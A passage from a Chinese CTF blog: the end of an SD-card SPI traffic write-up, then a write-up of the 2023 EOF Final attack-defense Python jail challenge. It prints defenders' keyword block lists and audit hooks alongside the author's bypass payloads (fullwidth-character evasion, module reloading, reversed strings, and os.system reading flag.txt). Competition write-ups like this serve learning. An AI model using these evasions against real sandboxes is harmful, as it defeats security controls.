QQ&#x3002;&#x6B63;&#x898F;&#x89E3;&#x662F; (2**32 - 1) &#x6703;&#x5FAA;&#x74B0;&#x3002;</p><h1 id="hardware">Hardware</h1><h2 id="hardware-is-not-so-hard">Hardware is not so hard</h2><p>&#x4E00;&#x9053;&#x5206;&#x6790; sd card SPI mode traffic &#x984C;&#x76EE;&#xFF0C;&#x6700;&#x9EBB;&#x7169;&#x7684;&#x9EDE;&#x662F;&#x627E;&#x5230; spec</p><p><a href="http://ccy.dd.ncu.edu.tw/~chen/rd/SIOC/SD%20Card%E9%A9%85%E5%8B%95%E7%A8%8B%E5%BC%8F%E9%96%8B%E7%99%BC2.pdf?ref=blog.cjis.ooo">http://ccy.dd.ncu.edu.tw/~chen/rd/SIOC/SD Card&#x9A45;&#x52D5;&#x7A0B;&#x5F0F;&#x958B;&#x767C;2.pdf</a></p><p><a href="http://chlazza.nfshost.com/sdcardinfo.html?ref=blog.cjis.ooo">http://chlazza.nfshost.com/sdcardinfo.html</a></p><p>&#x4F9D;&#x7167; spec parse&#xFF0C;&#x628A;&#x8B80;&#x53D6;&#x8CC7;&#x6599;&#x7167;&#x9806;&#x5E8F;&#x5BEB;&#x6210;&#x4E00;&#x5F35;&#x5716;&#x7247;&#x5373;&#x53EF;</p><pre><code class="language-python">import binascii
blocks = [0 for i in range(64)]
i = 0
with open(&quot;spi.txt&quot;, &quot;r&quot;) as f, open(&quot;out.jpg&quot;, &quot;wb&quot;) as outfile:
    for l in f.readlines():
        if &quot;SD Card to Device : ff&quot; in l:
            l = l[l.find(&quot;fe&quot;) + 2 : -5]
            print(len(l))
            data = binascii.unhexlify(l)
            blocks[i] = data
        elif &quot;Device to SD Card : 51&quot; in l:
            l = l[28:30]
            i = int(l, 16)
    for block in blocks:
        outfile.write(block)
# ACSC{1tW@sE@syW@snt1t}</code></pre>]]></content:encoded></item><item><title><![CDATA[2023 EOF Final Pyjail 心得]]></title><description><![CDATA[<p>&#x9019;&#x6B21;&#x548C; DEVCORE web &#x5BE6;&#x7FD2;&#x5C0F;&#x5925;&#x4F34;&#x5011; Entroy, Amy, Wii &#x7D44;&#x968A;&#x53C3;&#x52A0; EOF&#xFF0C;&#x56DB;&#x500B; web &#x72D7;&#x5728;&#x521D;&#x8CFD;&#x5F88;&#x50E5;&#x5016;&#x653E;&#x751F; crypto &#x548C; pwn &#x9084;&#x662F;&#x901A;&#x904E;&#x4E86;&#x3002;&#x6C7A;&#x8CFD;&#x7684;&#x8CFD;&#x5236;&#x8B8A;&#x6210; A&amp;</p>]]></description><link>https://blog.cjis.ooo/2023-eof-final-xin-de/</link><guid isPermaLink="false">63e9ef753ae52c0001cd643a</guid><dc:creator><![CDATA[cjiso1117]]></dc:creator><pubDate>Mon, 13 Feb 2023 13:08:38 GMT</pubDate><content:encoded><![CDATA[<p>&#x9019;&#x6B21;&#x548C; DEVCORE web &#x5BE6;&#x7FD2;&#x5C0F;&#x5925;&#x4F34;&#x5011; Entroy, Amy, Wii &#x7D44;&#x968A;&#x53C3;&#x52A0; EOF&#xFF0C;&#x56DB;&#x500B; web &#x72D7;&#x5728;&#x521D;&#x8CFD;&#x5F88;&#x50E5;&#x5016;&#x653E;&#x751F; crypto &#x548C; pwn &#x9084;&#x662F;&#x901A;&#x904E;&#x4E86;&#x3002;&#x6C7A;&#x8CFD;&#x7684;&#x8CFD;&#x5236;&#x8B8A;&#x6210; A&amp;D &#x548C; KoH&#xFF0C;&#x96D6;&#x7136;&#x6700;&#x7D42;&#x7B2C;&#x4E03;&#x540D;&#xFF0C;&#x4F46;&#x9760;&#x8457; pyjail &#x9019;&#x984C;&#x6700;&#x9AD8;&#x5206;&#x5F97;&#x5230;&#x4E00;&#x500B;&#x87D2;&#x86C7;&#x9AD8;&#x624B;&#x734E;(?)&#x3002;&#x9019;&#x5169;&#x5929;&#x7684;&#x8CFD;&#x7A0B;&#x6211;&#x5E7E;&#x4E4E;&#x90FD;&#x5728;&#x641E; pyjail&#xFF0C;&#x4E00;&#x76F4;&#x60F3;&#x5230; <s>&#x5641;&#x5FC3;&#x4EBA;</s> &#x597D;&#x73A9;&#x7684; jail&#xFF0C;&#x8CFD;&#x4E2D;&#x4E5F;&#x770B;&#x5230;&#x5F88;&#x591A;&#x6B63;&#x898F;&#x7684; jail&#xFF0C;&#x5C31;&#x4F86;&#x8A18;&#x9304;&#x4E00;&#x4E0B;&#x3002;&#x4F7F;&#x7528;&#x5230;&#x7684; code <a href="https://github.com/cjiso1117/My-CTF-Writeup/tree/main/2023_EOF_CTF_final/pyjail?ref=blog.cjis.ooo">&#x5728;&#x9019;</a>&#x3002;</p><figure class="kg-card kg-image-card"><img src="https://blog.cjis.ooo/content/images/2023/02/2023EOFFinal_7th.png" class="kg-image" alt loading="lazy" width="2000" height="1039" srcset="https://blog.cjis.ooo/content/images/size/w600/2023/02/2023EOFFinal_7th.png 600w, https://blog.cjis.ooo/content/images/size/w1000/2023/02/2023EOFFinal_7th.png 1000w, https://blog.cjis.ooo/content/images/size/w1600/2023/02/2023EOFFinal_7th.png 1600w, https://blog.cjis.ooo/content/images/size/w2400/2023/02/2023EOFFinal_7th.png 2400w" sizes="(min-width: 720px) 720px"></figure><h1 id="%E9%A1%8C%E7%9B%AE%E4%BB%8B%E7%B4%B9">&#x984C;&#x76EE;&#x4ECB;&#x7D39;</h1><p><a href="https://github.com/AIS3-EOF/pyjail-ad?ref=blog.cjis.ooo">source code</a></p><p>&#x9019;&#x984C;&#x662F; A&amp;D&#xFF0C;&#x6BCF;&#x8F2A; 5 &#x5206;&#x9418;&#xFF0C;&#x6BCF;&#x8F2A;&#x88E1;&#x6703;&#x8A08;&#x7B97;&#x6210;&#x529F;&#x653B;&#x64CA;&#x5E7E;&#x7D44;&#x7684; pyjail &#x9084;&#x6709;&#x88AB;&#x653B;&#x64CA;&#x6B21;&#x6578;&#xFF0C;&#x7136;&#x5F8C;&#x900F;&#x904E;&#x67D0;&#x500B;&#x516C;&#x5F0F;&#x8A08;&#x7B97;&#x8A72;&#x8F2A;&#x5F97;&#x5206;&#xFF0C;&#x6700;&#x7D42;&#x984C;&#x76EE;&#x7684;&#x5206;&#x6578;&#x662F;&#x52A0;&#x7E3D;&#x6BCF;&#x8F2A;&#x5F97;&#x5206;&#x5F8C;&#x548C;&#x5176;&#x4ED6;&#x7D44;&#x5225;&#x505A; normalize&#x3002;</p><p>&#x653B;&#x64CA;&#x65B9;&#x7684;&#x76EE;&#x6A19;&#x662F;&#x57F7;&#x884C;&#x4E00;&#x6BB5;&#x4E0D;&#x9650;&#x9577;&#x5EA6; python code &#x4F86;&#x8B80;&#x53D6; <code>./flag.txt</code> &#x5F8C;&#x63D0;&#x4EA4; flag&#xFF1B;&#x9632;&#x79A6;&#x65B9;&#x7684;&#x76EE;&#x6A19;&#x662F;&#x8B93;&#x7121;&#x5BB3;&#x7684; example code &#x80FD;&#x901A;&#x904E; jail&#xFF0C;&#x8B93; exploit code &#x7121;&#x6CD5;&#x901A;&#x904E; jail &#x6216;&#x662F;&#x901A;&#x904E; jail &#x5F8C;&#x8B80;&#x53D6;&#x4E0D;&#x5230; <code>./flag.txt</code> &#x3002;&#x9019;&#x500B; jail &#x57F7;&#x884C;&#x74B0;&#x5883;&#x548C; exploit code &#x57F7;&#x884C;&#x74B0;&#x5883;&#x662F;&#x9694;&#x96E2;&#x7684;&#xFF0C;jail &#x57F7;&#x884C;&#x74B0;&#x5883;&#x7121;&#x4EFB;&#x4F55;&#x9650;&#x5236;&#xFF0C;&#x4F46;&#x662F;&#x8981;&#x6C42;&#x88AB;&#x904E;&#x6FFE;&#x7684; exploit code &#x7684;&#x9577;&#x5EA6;&#x8B8A;&#x52D5; &lt; 75 <code>abs((len(original) - len(modified)) &lt;= 75</code> &#xFF0C;&#x8D85;&#x904E;&#x7684;&#x8A71;&#x6703;&#x57F7;&#x884C; <code>original</code> &#xFF0C;&#x53E6;&#x5916;&#x5982;&#x679C; jail &#x56E0;&#x70BA;&#x67D0;&#x4E9B;&#x539F;&#x56E0; crash &#x7684;&#x8A71;&#x4E5F;&#x6703;&#x57F7;&#x884C; <code>original</code> &#x3002; <code>./flag.txt</code> &#x5728;&#x5E7E; round &#x5F8C;&#x5DF2;&#x7D93;&#x8B8A;&#x6210; readonly &#x3002;</p><p>&#x4E3B;&#x8FA6;&#x65B9;&#x6703;&#x5728;&#x5927;&#x7D04;&#x516D;&#x8F2A;&#x591A;&#x516C;&#x4F48; jail code&#xFF0C;&#x4F46;&#x4E0D;&#x516C;&#x4F48; exploit code&#xFF0C;&#x4E26;&#x4E14;&#x57F7;&#x884C;&#x74B0;&#x5883;&#x90FD;&#x662F;&#x7121;&#x9023;&#x7DB2;&#xFF0C;&#x56E0;&#x6B64;&#x6C92;&#x6709;&#x8FA6;&#x6CD5;&#x77E5;&#x9053; exploit code &#x9577;&#x600E;&#x9EBC;&#x6A23;&#x3002;</p><h1 id="%E9%A1%8C%E7%9B%AE%E6%9C%AC%E8%B3%AA">&#x984C;&#x76EE;&#x672C;&#x8CEA;</h1><p>&#x5C0D;&#x653B;&#x64CA;&#x65B9;&#x4F86;&#x8AAA;&#xFF0C;&#x7121;&#x9650;&#x5236;&#x653B;&#x64CA;&#x6B21;&#x6578;&#x548C; code &#x9577;&#x5EA6;&#xFF0C;&#x4E14; exploit code &#x5F9E;&#x982D;&#x5230;&#x5C3E;&#x90FD;&#x5C0D;&#x9632;&#x79A6;&#x65B9;&#x662F;&#x4E0D;&#x53EF;&#x898B;&#x7684;&#xFF0C;&#x56E0;&#x6B64;&#x53EA;&#x8981;&#x7528;&#x6700;&#x5F37;&#x7684; exploit code &#x5373;&#x53EF;&#x3002;</p><p>&#x53CD;&#x904E;&#x4F86;&#x8AAA;&#x9632;&#x79A6;&#x65B9;&#x56E0;&#x70BA;&#x5728;&#x591A;&#x8F2A;&#x5F8C;&#x6703;&#x88AB;&#x516C;&#x5E03; jail code&#xFF0C;&#x5728;&#x7B56;&#x7565;&#x4E0A;&#x8981;&#x8003;&#x91CF;&#x7684;&#x5C31;&#x5F88;&#x591A;&#xFF0C;&#x9996;&#x5148;&#x662F;&#x5225;&#x4EBA;&#x53EF;&#x4EE5;&#x5728;&#x5E7E;&#x8F2A;&#x5F8C;&#x76F4;&#x63A5; copy paste &#x4F60;&#x7684; jail&#xFF0C;&#x6240;&#x4EE5;&#x8981;&#x80FD;&#x6253;&#x7A7F;&#x81EA;&#x5DF1;&#x7684; jail&#xFF1B;&#x7B2C;&#x4E8C;&#x9EDE;&#x662F; jail code &#x53EF;&#x80FD;&#x6703;&#x6D29;&#x6F0F;&#x653B;&#x64CA;&#x65B9;&#x6CD5;&#x7D66;&#x5225;&#x4EBA;&#xFF0C;&#x8B93;&#x5225;&#x4EBA;&#x5F9E; unknown unknown &#x8B8A;&#x6210; known unknown&#xFF0C;&#x4E5F;&#x8A31;&#x9935;&#x7D66; ChatGPT &#x5C31;&#x80FD;&#x7E5E;&#x904E;(?)&#xFF1B;&#x7B2C;&#x4E09;&#x9EDE;&#x662F;&#x8981;&#x80FD;&#x76E1;&#x53EF;&#x80FD;&#x7684;&#x6E1B;&#x5C11; exploit code &#x80FD;&#x7372;&#x5F97;&#x7684;&#x8CC7;&#x8A0A;&#xFF0C;&#x56E0;&#x70BA; exploit code &#x6703;&#x56DE;&#x50B3; stderr&#xFF0C;&#x6240;&#x4EE5;&#x900F;&#x904E;&#x4FEE;&#x6539; code &#x5C0E;&#x81F4; stderr &#x53EF;&#x4EE5;&#x8B93;&#x653B;&#x64CA;&#x65B9;&#x5728;&#x7576;&#x8F2A;&#x5C31;&#x505A;&#x51FA;&#x53CD;&#x61C9;&#xFF0C;&#x800C;&#x76F4;&#x63A5;&#x62D2;&#x7D55;&#x57F7;&#x884C;&#x7684;&#x8A71;&#x5247;&#x53EF;&#x4EE5;&#x4F7F; jail &#x7684;&#x50F9;&#x503C;&#x6301;&#x7E8C;&#x81F3;&#x5C11;&#x516D;&#x8F2A;&#x3002;</p><h1 id="jail-%E7%B9%9E%E6%B3%95">jail &#x7E5E;&#x6CD5;</h1><h2 id="%E9%81%8E%E6%BF%BE%E9%97%9C%E9%8D%B5%E5%AD%97">&#x904E;&#x6FFE;&#x95DC;&#x9375;&#x5B57;</h2><p>&#x6700;&#x57FA;&#x672C;&#x7684;&#x65B9;&#x6CD5;&#xFF0C;&#x524D;&#x5E7E;&#x8F2A;&#x5E7E;&#x4E4E;&#x90FD;&#x662F;&#x9019;&#x7A2E;&#x3002;&#x5E38;&#x898B;&#x7684;&#x7E5E;&#x6CD5;&#x50CF;&#x662F;&#x5B57;&#x4E32;&#x62FC;&#x63A5;&#x3001;&#x7DE8;&#x78BC;&#x7B49;&#x7B49;&#x3002;</p><h2 id="%E9%80%B2%E9%9A%8E%E7%89%88%E9%81%8E%E6%BF%BE%E9%97%9C%E9%8D%B5%E5%AD%97">&#x9032;&#x968E;&#x7248;&#x904E;&#x6FFE;&#x95DC;&#x9375;&#x5B57;</h2><p>&#x518D;&#x904E;&#x5E7E;&#x8F2A;&#x5F8C;&#xFF0C;&#x6709;&#x968A;&#x4F0D;(&#x6709; dalun &#x90A3;&#x968A;)&#x60F3;&#x5230;&#x65E2;&#x7136;&#x89E3;&#x78BC;&#x5F8C;&#x90FD;&#x6703;&#x6709; <code>flag.txt</code> &#xFF0C;&#x90A3;&#x4E7E;&#x8106;&#x5728; opcode &#x5C64;&#x7D1A;&#x505A;&#x904E;&#x6FFE;</p><figure class="kg-card kg-code-card"><pre><code class="language-python3">    import dis
    for inst in dis.get_instructions(code):
        if inst.opcode == 100:
            if &apos;flag.txt&apos; in str(inst.argval) or &apos;system&apos; in str(inst.argval) or &apos;io&apos; in str(inst.argval) or &apos;spawn&apos; in str(inst.argval) or &apos;subprocess&apos; in str(inst.argval) or &apos;pickle&apos; in str(inst.argval) or &apos;getattr&apos; in str(inst.argval) or &apos;base64&apos; in str(inst.argval) or &apos;rot&apos; in str(inst.argval) or &apos;open&apos; in str(inst.argval) or &apos;read&apos; in str(inst.argval) or &apos;write&apos; in str(inst.argval) or &apos;sys&apos; in str(inst.argval) or &apos;eval&apos; in str(inst.argval) or &apos;exec&apos; in str(inst.argval) or &apos;cat&apos; in str(inst.argval) or &apos;builtins&apos; in str(inst.argval):
                return False, &quot;f2&quot;</code></pre><figcaption>from team 13(&#x61C9;&#x8A72;&#x4E0D;&#x662F;&#x6700;&#x5148;&#x7528;&#x4E0A;&#x9019;&#x65B9;&#x6CD5;&#x7684;&#x968A;&#x4F0D;&#xFF0C;&#x4F46;&#x6211;&#x624B;&#x908A;&#x5269;&#x9019;&#x500B;)</figcaption></figure><p>&#x9019;&#x500B;&#x60F3;&#x6CD5;&#x672C;&#x8EAB;&#x5F88;&#x6709;&#x7528;&#xFF0C;&#x56E0;&#x70BA;&#x5F88;&#x591A;&#x5E38;&#x898F; jail &#x65B9;&#x6CD5;&#x90FD;&#x6703;&#x5361;&#x5728;&#x8B8A;&#x66F4;&#x9577;&#x5EA6; &lt; 75 &#x5C0E;&#x81F4;&#x5931;&#x6548;&#xFF0C;&#x4F46;&#x5728; jail code &#x57F7;&#x884C;&#x6642;&#x4E0D;&#x6703;&#x6709;&#x9577;&#x5EA6;&#x9650;&#x5236;&#xFF0C;&#x53EF;&#x60DC;&#x6700;&#x5F8C;&#x5927;&#x591A;&#x968A;&#x4F0D;&#x53EA;&#x6709;&#x53BB;&#x6AA2;&#x67E5; opcode 100 LOAD_CONST &#x6307;&#x4EE4;&#xFF0C;&#x96D6;&#x7136; opcode &#x81EA;&#x8EAB;&#x512A;&#x5316;&#x5F8C;&#x6703;&#x8B93;&#x5B57;&#x4E32;&#x4E32;&#x63A5;&#x5408;&#x4F75;&#x6210;&#x540C;&#x4E00;&#x500B;&#x5B57;&#x4E32; <code>&apos;a&apos;+&apos;b&apos; --&gt; LOAD_CONST &apos;ab&apos;</code> &#xFF0C;&#x8B93;&#x5B57;&#x4E32;&#x4E32;&#x63A5;&#x5931;&#x6548;&#xFF0C;&#x7136;&#x800C;&#x7D93;&#x904E;&#x4E00;&#x4E9B;&#x64CD;&#x4F5C;&#x5F8C;&#x518D;&#x4E32;&#x63A5;&#x5C31;&#x4E0D;&#x6703;&#x88AB;&#x512A;&#x5316;&#xFF0C;&#x9019;&#x88E1;&#x7528; <code>&apos;galf&apos;[::-1]+&apos;.txt&apos;</code> &#x5C31;&#x80FD;&#x7E5E;&#x904E;</p><p>module &#x7121;&#x6CD5;&#x900F;&#x904E;&#x4E2D;&#x62EC;&#x865F;&#x53D6;&#x5F97; attribute&#xFF0C;&#x4E5F;&#x5C31;&#x7121;&#x6CD5;&#x5B57;&#x4E32;&#x62FC;&#x63A5;</p><pre><code>&gt;&gt;&gt; import os
&gt;&gt;&gt; os[&apos;system&apos;]
Traceback (most recent call last):
  File &quot;&lt;stdin&gt;&quot;, line 1, in &lt;module&gt;
TypeError: &apos;module&apos; object is not subscriptable</code></pre><p>&#x6B64;&#x6642;&#x53EF;&#x4EE5;&#x900F;&#x904E; <code>getattr</code> &#x5E6B;&#x5FD9;&#x4F86;&#x5B57;&#x4E32;&#x62FC;&#x63A5; <code>getattr(os,&apos;sys&apos;+&apos;tem&apos;)</code></p><p>&#x9084;&#x6709;&#x770B;&#x5230;&#x5F88;&#x591A;&#x968A;&#x4F0D;&#x7981;&#x6B62; <code>base64, reversed</code> &#x4E4B;&#x985E;&#x5B57;&#x4E32; encode &#x65B9;&#x6CD5;&#xFF0C;&#x4F46;&#x662F;&#x6700;&#x7C21;&#x55AE;&#x7684; <code>[::-1]</code> &#xA0;&#x642D;&#x914D;&#x62FC;&#x63A5;&#x5C31;&#x90FD;&#x7E5E;&#x904E;&#x4E86;</p><h2 id="%E6%9C%AA%E7%9F%A5%E7%89%88%E9%81%8E%E6%BF%BE%E9%97%9C%E9%8D%B5%E5%AD%97">&#x672A;&#x77E5;&#x7248;&#x904E;&#x6FFE;&#x95DC;&#x9375;&#x5B57;</h2><p>&#x6162;&#x6162;&#x7E5E;&#x5BE6;&#x5728;&#x592A;&#x9EBB;&#x7169;&#xFF0C;&#x5F8C;&#x4F86;&#x90FD;&#x76F4;&#x63A5;&#x900F;&#x904E;&#x5168;&#x5F62;&#x7E5E;&#x904E;&#xFF0C;&#x76F4;&#x5230;&#x6BD4;&#x8CFD;&#x7D50;&#x675F;&#x524D;&#x90FD;&#x6C92;&#x6709;&#x5176;&#x4ED6;&#x968A;&#x4F0D;&#x5C0D;&#x5168;&#x5F62;&#x7E5E;&#x904E;&#x91CB;&#x51FA; patch &#x7684;&#x6A23;&#x5B50;&#xFF0C;&#x8B93;&#x6211;&#x4E00;&#x76F4;&#x4E0D;&#x77E5;&#x9053;&#x8A72;&#x4E0D;&#x8A72;&#x4E0A;&#x5168;&#x5F62;&#x7E5E;&#x904E;&#x7684; patch</p><figure class="kg-card kg-code-card"><pre><code class="language-python">code = &quot;&quot;.join(map(lambda x: chr(ord(x) - 65248) if ord(x) &gt; 65248 else x, code))
</code></pre><figcaption>&#x5168;&#x5F62;&#x8F49;&#x534A;&#x5F62; patch</figcaption></figure><p>&#x5168;&#x5F62;&#x7E5E;&#x904E;&#x539F;&#x7406;&#x662F; python &#x57F7;&#x884C;&#x6642;&#x6703;&#x5F88;&#x8CBC;&#x5FC3;&#x7684;&#x628A;&#x5168;&#x5F62;&#x5B57;&#x6BCD;&#x7576;&#x4F5C;&#x534A;&#x5F62;&#x5B57;&#x6BCD;&#xFF0C;&#x4F46;&#x662F;&#x5B57;&#x4E32;&#x6BD4;&#x5C0D;&#x6642;&#x5168;&#x5F62;&#x548C;&#x534A;&#x5F62;&#x662F;&#x4E0D;&#x540C;&#x7684;</p><figure class="kg-card kg-code-card"><pre><code>&gt;&gt;&gt; &apos;&#xFF45;&#xFF58;&#xFF45;&#xFF43;&apos; != &apos;exec&apos;
True
&gt;&gt;&gt; &#xFF45;&#xFF58;&#xFF45;&#xFF43;(&apos;print(7122)&apos;)
7122</code></pre><figcaption>&#x5168;&#x5F62;&#x7E5E;&#x904E;</figcaption></figure><p>&#x7B2C;&#x4E00;&#x6B21;&#x77E5;&#x9053;&#x9019;&#x500B;&#x6280;&#x5DE7;&#x662F; &#x1F341; &#x67D0;&#x6B21; CTF &#x7528;&#x4F86;&#x7E5E;&#x9ED1;&#x540D;&#x55AE;&#xFF0C;&#x96D6;&#x7136;&#x662F;&#x500B;&#x53E4;&#x8001;&#x7E5E;&#x6CD5;&#xFF0C;&#x4F46;&#x5E7E;&#x4E4E;&#x6BCF;&#x500B;&#x7B2C;&#x4E00;&#x6B21;&#x5BEB; python &#x9ED1;&#x540D;&#x55AE;&#x904E;&#x6FFE;&#x7684;&#x4EBA;&#x90FD;&#x6703;&#x8E29;&#x5230;&#x9019;&#x500B;&#x5751; :D</p><h2 id="%E6%B2%99%E7%9B%92">&#x6C99;&#x76D2;</h2><p>&#x5FD8;&#x8A18;&#x54EA;&#x968A;&#x5728;&#x7B2C;&#x4E00;&#x5929;&#x5F88;&#x6709;&#x5275;&#x610F;&#x7684;&#x5728; jail code &#x523B;&#x51FA;&#x6C99;&#x76D2;&#xFF0C;&#x4E26;&#x900F;&#x904E; output &#x6709;&#x6C92;&#x6709;&#x5047; flag &#x4F86;&#x5224;&#x65B7;&#x662F;&#x5426;&#x662F; exploit code</p><figure class="kg-card kg-code-card"><pre><code>    os.system(&quot;mkdir /tmp/dir&quot;)
    os.chdir(&quot;/tmp/dir&quot;)
    F = open(&quot;flag.txt&quot;, &quot;w&quot;)
    F.write(&quot;EOFmfl183p3ph4hmrmsb32ca1108sqr7&quot;)
    F.close()
    F = open(&quot;code.py&quot;, &quot;w&quot;)
    F.write(code)
    F.close()
    os.system(&quot;python code.py &gt; out.txt&quot;)
    F = open(&quot;out.txt&quot;, &quot;r&quot;)
    s = F.read()
    F.close()
    f = re.findall(r&quot;EOFmfl183p3ph4hmrmsb32ca1108sqr7&quot;, s)
    if len(f) &gt; 0:
        return False, code</code></pre><figcaption>from creative team</figcaption></figure><p>&#x9019;&#x5728;&#x91CB;&#x51FA; jail code &#x5F8C;&#x624D;&#x597D;&#x7E5E;&#xFF0C;&#x53EA;&#x8981;&#x628A; output &#x7DE8;&#x78BC;&#x5373;&#x53EF;</p><blockquote>&#x9032;&#x4E00;&#x6B65;&#x60F3;&#x53EF;&#x4EE5;&#x5728;&#x9019;&#x88E1;&#x89E3;&#x6C7A; len &lt; 75 &#x9019;&#x4EF6;&#x4E8B;&#xFF0C;&#x56E0;&#x6B64;&#x80FD;&#x52A0;&#x4E0A;&#x5E38;&#x898F;&#x7684; syscall &#x6AA2;&#x6E2C;&#x7B49;&#x7B49;</blockquote><h2 id="%E8%A6%86%E8%93%8B%E5%8D%B1%E9%9A%AA%E5%87%BD%E6%95%B8">&#x8986;&#x84CB;&#x5371;&#x96AA;&#x51FD;&#x6578;</h2><p>&#x5728;&#x7B2C;&#x4E00;&#x5929;&#x5F8C;&#x534A;&#x6BB5;&#x958B;&#x59CB;&#xFF0C;&#x7D42;&#x65BC;&#x6709; CTF &#x5E38;&#x898F;&#x7684; python jail &#x51FA;&#x73FE;&#xFF0C;&#x6211;&#x60F3;&#x53EF;&#x80FD;&#x662F;&#x9650;&#x5236;&#x8B8A;&#x52D5; 75 &#x9019;&#x898F;&#x5247;&#x8B93;&#x5F88;&#x591A;&#x968A;&#x4F0D;&#x4E0D;&#x628A;&#x6FC3;&#x7E2E; python jail &#x7576;&#x9996;&#x9078;</p><figure class="kg-card kg-code-card"><pre><code class="language-python">    code = (
        &quot;import os,importlib\nos.popen=os.system=os.exec=os.read=importlib.reload=0\n&quot;
        + code
    )
    return True, code  # line:20</code></pre><figcaption>from team ?</figcaption></figure><p>&#x5230;&#x7B2C;&#x4E8C;&#x5929;&#x51FA;&#x73FE;&#x5B98;&#x65B9;&#x6B63;&#x898F;&#x89E3; <a href="https://peps.python.org/pep-0578/?ref=blog.cjis.ooo">PEP 578 &#x2013; Python Runtime Audit Hooks</a></p><figure class="kg-card kg-code-card"><pre><code class="language-python">    code = &quot;import sys;sys.addaudithook(lambda*t:exit()if&apos;g.t&apos;in str(t)else 0)\n&quot; + code
    return True, code</code></pre><figcaption>from team 9</figcaption></figure><p>&#x7B2C;&#x4E00;&#x7A2E;&#x7684;&#x7E5E;&#x6CD5;&#x5C31;&#x662F;&#x60F3;&#x8FA6;&#x6CD5; reload module &#x6216;&#x662F;&#x627E;&#x5230;&#x6C92;&#x88AB;&#x8986;&#x84CB;&#x7684;&#x503C;&#xFF0C;&#x7562;&#x7ADF;&#x53EA;&#x80FD;&#x585E; 75 char&#xFF0C;&#x5269;&#x4E0B;&#x53EA;&#x80FD;&#x9760; jail code &#x505A;&#x904E;&#x6FFE;&#x3002;</p><p>&#x7B2C;&#x4E00;&#x5929;&#x6642;&#x968A;&#x53CB; Entroy &#x5148;&#x627E;&#x5230; <code>importlib.reload</code> &#x505A; reload&#xFF0C;&#x7E5E;&#x904E;&#x4E00;&#x6BB5;&#x6642;&#x9593;&#x5F8C; pyjail &#x5C31;&#x4FEE;&#x88DC;&#x4E86;&#xFF0C;&#x5927;&#x5BB6;&#x5C0D;&#x7E5E; pyjail &#x4E0D;&#x719F;&#xFF0C;&#x53C8;&#x81EA;&#x5DF1;&#x968A;&#x4F0D;&#x7684; jail &#x9084;&#x5728;&#x5168;&#x88F8;&#x4FEE;&#x88DC;&#x4E2D;&#xFF0C;&#x6C92;&#x6642;&#x9593;&#x627E;&#x65B0;&#x7684;&#x653B;&#x64CA;&#x624B;&#x6CD5;&#xFF0C;&#x7B2C;&#x4E00;&#x5929;&#x5FEB;&#x7D50;&#x675F;&#x6642; Entory &#x554F;&#x4E86; ChatGPT &#x7E5E;&#x6CD5;&#xFF0C;&#x5F97;&#x5230; </p><figure class="kg-card kg-image-card"><img src="https://blog.cjis.ooo/content/images/2023/02/image.png" class="kg-image" alt loading="lazy" width="1676" height="1806" srcset="https://blog.cjis.ooo/content/images/size/w600/2023/02/image.png 600w, https://blog.cjis.ooo/content/images/size/w1000/2023/02/image.png 1000w, https://blog.cjis.ooo/content/images/size/w1600/2023/02/image.png 1600w, https://blog.cjis.ooo/content/images/2023/02/image.png 1676w" sizes="(min-width: 720px) 720px"></figure><p>&#x8A66;&#x4E86;&#x4E00;&#x4E0B;&#x9084;&#x771F;&#x7684;&#x53EF;&#x4EE5;&#xFF0C;&#x9694;&#x5929;&#x5C31;&#x7528;&#x5728; exploit code &#x4E86;&#x3002;&#x5049;&#x54C9; ChatGPT</p><p>&#x665A;&#x4E0A;&#x7814;&#x7A76;&#x4E00;&#x4E0B;&#x7E5E;&#x6CD5;&#xFF0C;&#x5B78;&#x5230;&#x5E7E;&#x62DB;&#xFF0C;&#x76F4;&#x5230;&#x7B2C;&#x4E8C;&#x5929;&#x7D50;&#x675F;&#x6642;&#x90FD;&#x9084;&#x80FD;&#x901A;&#x6BBA;</p><p>reload modules &#x627E;&#x56DE;&#x88AB;&#x522A;&#x9664;&#x7684; attribute</p><figure class="kg-card kg-code-card"><pre><code>import &#xFF53;ubprocess
import &#xFF4F;&#xFF53;
from &#xFF53;&#xFF59;&#xFF53; import modules as q

try:
    del q[&quot;o&quot; + &quot;s&quot;]
    del q[&quot;sub&quot; + &quot;pro&quot; + &quot;cess&quot;]
except:
    pass
import &#xFF53;ubprocess
import &#xFF4F;&#xFF53;</code></pre><figcaption>del sys.modules</figcaption></figure><p>&#x7E5E;&#x904E; <code>open=0</code> </p><figure class="kg-card kg-code-card"><pre><code class="language-python">import &#xFF42;&#xFF55;&#xFF49;&#xFF4C;&#xFF54;&#xFF49;&#xFF4E;&#xFF53;
print(
    get&#xFF41;ttr(get&#xFF41;ttr(builtins, &quot;po&quot;[::-1] + &quot;en&quot;)(&quot;galf&quot;[::-1] + &quot;.txt&quot;), &quot;re&quot; + &quot;ad&quot;)()[
        ::-1
    ]
)</code></pre><figcaption>import builtins</figcaption></figure><pre><code>&gt;&gt;&gt; open = 0
&gt;&gt;&gt; import builtins
&gt;&gt;&gt; builtins.open
&lt;built-in function open&gt;
&gt;&gt;&gt; __builtins__
&lt;module &apos;builtins&apos; (built-in)&gt;
&gt;&gt;&gt; __builtins__.open
&lt;built-in function open&gt;</code></pre><p>&#x7E5E;&#x904E; import &#x985E;&#x578B;&#x7684;&#x5B57;&#x4E32;&#x6BD4;&#x5C0D; e.g. <code>import builtins</code> </p><figure class="kg-card kg-code-card"><pre><code class="language-python">__import__(&quot;so&quot;[::-1]).&#xFF53;&#xFF59;&#xFF53;tem(&quot; tac&quot;[::-1] + &quot;fl&quot; + &quot;ga&quot;[::-1] + &quot;.t&quot; + &quot;tx&quot;[::-1])</code></pre><figcaption>__import__</figcaption></figure><p>&#x7B2C;&#x4E8C;&#x5929;&#x5F9E;&#x5225;&#x4EBA; jail &#x5B78;&#x5230;&#x53EF;&#x4EE5;&#x900F;&#x904E; pickle, marshal &#x4F86;&#x8F09;&#x5165;( jail code &#x6D29;&#x6F0F;&#x653B;&#x64CA;&#x6CD5;&#x7684;&#x6848;&#x4F8B;)&#xFF0C;&#x4E0D;&#x904E;&#x5F8C;&#x4F86;&#x6C92;&#x5BE6;&#x4F5C; </p><figure class="kg-card kg-code-card"><pre><code>    x = dict()
